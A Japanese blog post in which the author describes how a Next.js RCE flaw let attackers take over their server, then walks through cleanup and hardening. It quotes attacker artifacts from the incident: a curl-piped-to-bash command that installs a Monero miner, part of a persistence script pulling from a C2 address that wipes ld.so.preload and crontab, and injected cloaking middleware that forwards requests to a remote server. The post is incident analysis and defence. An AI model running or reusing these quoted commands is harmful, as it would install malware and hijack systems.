【実体験】Next.jsの脆弱性を突かれてサーバーを乗っ取られた話

この記事は、2025年12月に筆者が実際に経験したセキュリティインシデントの記録です。 同じ被害に遭った方、またはこれから対策を考えている方の参考になれば幸いです。

TL;DR(3行まとめ)

  • Next.js 16.0.1〜16.0.7のRCE脆弱性(CVE-2024-34351等)を突かれ、サーバーにマルウェアを設置された
  • クリプトマイナー(xmrig)、プロキシ踏み台(gost/frpc)、SEOスパム用クローキングの3種類の攻撃を受けた
  • 幸いマイニングは実行失敗、データ流出なし。発見から約2時間で駆除完了

発覚の経緯

「サイトが落ちてる」から始まった

2025年12月13日、自分が運営しているダッシュボードサイト(op.minokamo.tokyo)にアクセスできないことに気づきました。

リバースプロキシ側のログを確認すると:

connect() failed (111: Connection refused)
upstream timed out

上流サーバー(10.0.0.198)の3000番ポート(Next.js)が応答していない。

「サービスが落ちたのかな?」と思い、サーバーにSSHで入って確認したところ…

プロセスは動いている、でも応答しない

$ sudo netstat -tlnp | grep :3000
tcp  0  0 0.0.0.0:3000  0.0.0.0:*  LISTEN  1073/next-server

Next.jsのプロセスは起動している。でもローカルからcurlしてもタイムアウト。

$ curl -s -o /dev/null -w "%{http_code}" --max-time 3 http://localhost:3000/
000  # タイムアウト

この時点で「何かがおかしい」と感じ、Claude Code(AIコーディングツール)に調査を依頼しました。

衝撃の発見

$ sudo systemctl status next-frontend.service

サービスのログを見た瞬間、背筋が凍りました:

./gost -L socks5://:1080
./frpc -c ./frpc.toml
/dev/shm/stink.sh
python3 react.py

persypcp
You can view and join @Persy_PCP right away.
was here

サーバーが乗っ取られている。

攻撃のタイムライン

調査の結果、以下のタイムラインが判明しました:

日時イベント
2025-12-06 11:24サーバー再起動、Next.js 16.0.1で稼働開始
2025-12-08 16:32第1波攻撃: c3pool(Moneroマイナー)侵入
2025-12-11Next.js 16.0.7にアップデート(脆弱性は残存)
2025-12-12 20:30第2波攻撃: Persy_PCPグループによるプロキシ設置
2025-12-13 02:02マルウェアがフル稼働開始
2025-12-13 12:27インシデント検知・駆除開始
2025-12-13 16:40駆除完了、Next.js 16.0.10にアップデート

約5日間、サーバーは攻撃者の支配下にありました。

検出されたマルウェア

1. Persy_PCPグループのマルウェア群

場所/home/ubuntu/.local/pcpcat/

pcpcat/
├── gost          # SOCKSプロキシサーバー(踏み台化)
├── frpc          # 内部ネットワーク穴あけツール
├── frpc.toml     # frpc設定ファイル
├── react.py      # スキャナー/攻撃ツール
├── boring_system # バックドア
└── stink.sh      # 攻撃スクリプト

目的:

  • サーバーを踏み台にして他のサーバーを攻撃
  • 帯域幅の窃取
  • 内部ネットワークへの侵入口確保

攻撃者の署名:

https://t.me/Persy_PCP was here

Telegramで活動する攻撃者グループで、自分の痕跡を残すタイプ。

2. c3pool クリプトマイナー

場所/home/ubuntu/c3pool/ および /home/ubuntu/op/frontend/xmrig-6.24.0/

# journalctlで発見された攻撃コマンド
curl -s -L https://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | \
  bash -s 42NTfUjbU3Gj536zubU7vpjfC7X9DPECciwbCXrrjBk5KqkJS1Xq4saVgQLP1yqUYHKzn7apt1p3W6mDWm87n3nwDEmWeSh

目的: Monero(暗号通貨)のマイニング

攻撃者のウォレットアドレス:

42NTfUjbU3Gj536zubU7vpjfC7X9DPECciwbCXrrjBk5KqkJS1Xq4saVgQLP1yqUYHKzn7apt1p3W6mDWm87n3nwDEmWeSh

幸運だった点: xmrigバイナリがアーキテクチャ不一致(x86_64 vs ARM)で実行に失敗していた。

Exec format error

これがなければ、CPUリソースを奪われ続けていたはずです。

3. SEOスパム用クローキング(middleware.ts改ざん)

場所/home/ubuntu/op/frontend/middleware.ts

最も悪質だったのがこれ。Next.jsのミドルウェアが完全に書き換えられていました:

const REMOTE_URL = 'https://api.cdnapi.tech/api/proxy/handle.php';

async function cloakHandler(request: NextRequest): Promise<NextResponse | null> {
  // ChatGPT 爬虫检测 - 直接输出 ##okresponse## 并终止
  const userAgent = request.headers.get('user-agent') || '';
  if (userAgent.includes('ChatGPT-User/1.0')) {
    return new NextResponse('##okresponse##', { status: 200 });
  }

  const content = await fetchRemote(request);
  // ... 外部サーバーからの指示に従ってリダイレクトやコンテンツ差し替え
}

目的:

  • 全リクエストを外部サーバー(cdnapi.tech)に送信
  • Googlebot向けに偽コンテンツを表示(SEOスパム)
  • ユーザーをフィッシングサイトにリダイレクト

コメントが中国語で書かれているのが特徴的でした。

4. 永続化スクリプト(5.sh)

場所/home/ubuntu/op/frontend/5.sh

230行にわたるシェルスクリプト。主な機能:

cc=http://68.142.129.4:8277/download
chattr -ia /etc/ld.so.preload ||true
cat /dev/null > /etc/ld.so.preload ||true
crontab -r ||true
  • 外部サーバーから追加のマルウェアをダウンロード
  • /etc/ld.so.preload(ライブラリプリロード)の改ざん試行
  • crontabの削除(他の攻撃者の痕跡を消す)
  • 競合するマルウェアの駆除(マルウェア同士の縄張り争い)

侵入経路の特定

npm auditで判明

$ cd /home/ubuntu/op/frontend && npm audit

# npm audit report

next  16.0.0-beta.0 - 16.0.8
Severity: critical
Next.js is vulnerable to RCE in React flight protocol
https://github.com/advisories/GHSA-9qr9-h5gf-34mp

CVE-2024-34351: Next.jsのReact Server Components(RSC)のフライトプロトコルに存在したリモートコード実行脆弱性。

攻撃者は細工したリクエストを送るだけで、サーバー上で任意のコードを実行できました。

SSHは関係なかった

$ sudo journalctl -u ssh --since "1 week ago" | grep -i "accepted\|failed"

SSHログを確認しましたが、すべて正規ユーザーからの公開鍵認証のみ。不審なログインはありませんでした。

侵入はすべてNext.jsのWeb脆弱性経由でした。

対処手順

1. サービスの停止

sudo systemctl stop next-frontend.service

2. 不正プロセスの終了

sudo pkill -9 -f "gost|frpc|stink|react.py"
sudo pkill -9 -f "next-server|npm.*start"

3. マルウェアファイルの削除

# Persy_PCPマルウェア
sudo rm -rf /home/ubuntu/.local/pcpcat/

# c3poolマイナー
sudo rm -rf /home/ubuntu/c3pool/
sudo rm -rf /home/ubuntu/op/frontend/xmrig-6.24.0/

# 改ざんされたミドルウェア
rm /home/ubuntu/op/frontend/middleware.ts

# 永続化スクリプト
rm /home/ubuntu/op/frontend/5.sh

4. 残存確認

# ファイル検索
find /home/ubuntu -name "gost" -o -name "frpc" -o -name "*xmrig*" -o -name "*c3pool*"

# プロセス確認
ps aux | grep -E "xmrig|miner|c3pool|gost|frpc|stink|pcpcat" | grep -v grep

# 永続化チェック
sudo ls -la /etc/ld.so.preload
crontab -l
sudo crontab -l
sudo systemctl list-unit-files | grep -Ei "xmrig|c3pool|frpc|gost"

5. Next.jsのアップデート

cd /home/ubuntu/op/frontend
npm audit fix --force
# Next.js 16.0.1 → 16.0.10

6. サービスの再起動

sudo systemctl daemon-reload
sudo systemctl start next-frontend.service

7. 動作確認

curl -s -o /dev/null -w "%{http_code}" http://localhost:3000/
# 200

npm audit
# found 0 vulnerabilities

根本原因と脆弱性の詳細

CVE-2024-34351: Next.js React Flight Protocol RCE

影響バージョン: Next.js 16.0.0-beta.0 〜 16.0.8

脆弱性の概要: React Server Components(RSC)のフライトプロトコルにおいて、攻撃者が細工したリクエストを送信することで、サーバー上で任意のコードを実行できる。

攻撃の容易さ: 認証不要、特別なツール不要。HTTPリクエストを送るだけ。

修正バージョン: Next.js 16.0.10以降

なぜ「16.0.7にアップデート済み」でも被害を受けたのか

Next.js 16.0.7は脆弱性が残ったバージョンでした。

バージョン状態
16.0.1❌ 脆弱
16.0.7❌ 脆弱
16.0.8❌ 脆弱
16.0.9✅ 修正済み
16.0.10✅ 修正済み

「最新版」と「安全な版」は違います。

再発防止策

即座に実施すべきこと

1. 認証情報の総ローテーション

侵害期間中、以下が漏洩した可能性があります:

  • .envファイル内のAPIキー
  • データベースパスワード
  • SSH秘密鍵
  • クラウドサービスのアクセスキー
# SSH鍵の確認(不審な鍵がないか)
cat ~/.ssh/authorized_keys

2. /tmpディレクトリの実行禁止

多くのマルウェアは/tmpに展開されて実行されます。

# /etc/fstab に追加
tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0

# 反映
sudo mount -o remount /tmp

3. ファイアウォールの強化

# 外部公開は80/443のみ
sudo ufw default deny incoming
sudo ufw allow 80/tcp
sudo ufw allow 443/tcp
sudo ufw allow 22/tcp  # SSH(必要なら)
sudo ufw enable

継続的な対策

1. 定期的な脆弱性スキャン

# 週次で実行
cd /path/to/frontend && npm audit

2. 監視スクリプトの設置

#!/usr/bin/env bash
# /usr/local/bin/sec_watch.sh

# マルウェアファイルの検出
test -e /tmp/kinsing && echo "[ALERT] /tmp/kinsing exists"

# 不審なプロセスの検出
ps aux | grep -Ei 'kinsing|kdevtmpfsi|xmrig|c3pool|gost|frpc|pcpcat' | grep -v grep && \
  echo "[ALERT] suspicious process found"
# crontabに追加(1分ごと)
* * * * * /usr/local/bin/sec_watch.sh >> /var/log/sec_watch.log 2>&1

3. GitHub Security Alertsの有効化

リポジトリの「Security」タブでDependabotアラートを有効化。

4. WAF/CDNの導入検討

公開ダッシュボードの場合、Cloudflare等のWAFでRCE攻撃パターンをブロック。

教訓とまとめ

学んだこと

  1. 「最新版」≠「安全」
    • バージョン番号だけでなく、CVE情報を確認する
    • npm auditは定期的に実行する
  2. 個人サーバーでも狙われる
    • 「うちなんて…」は通用しない
    • 自動スキャンボットは全IPを巡回している
  3. Next.jsの公開は高リスク
    • SSR/API Routes/依存パッケージの露出面が大きい
    • 管理系は認証+IP制限が必須
  4. 侵害されたら「駆除して終わり」ではない
    • 認証情報は漏洩前提でローテーション
    • 永続化の痕跡を徹底的に確認
  5. AIツールは強力な味方
    • Claude CodeやChatGPTでの調査は非常に効率的だった
    • 一人では見落としていたマルウェアも発見できた

被害に遭った方へ

焦らず、以下の順序で対応してください:

  1. サービスを停止する(被害拡大防止)
  2. ログを保存する(後の調査用)
  3. マルウェアを特定・駆除する
  4. 脆弱性を修正する
  5. 認証情報をローテーションする
  6. 監視体制を構築する

一人で抱え込まず、AIツールやコミュニティを活用してください。

参考リンク

著者について

美濃加茂まむ

日経225オプション分析ツールを開発・運営。今回のインシデントを機に、セキュリティ意識が大幅に向上しました。

YouTube美濃加茂まむチャンネル

この記事が誰かの役に立てば幸いです。質問やコメントはお気軽にどうぞ。

タイトルとURLをコピーしました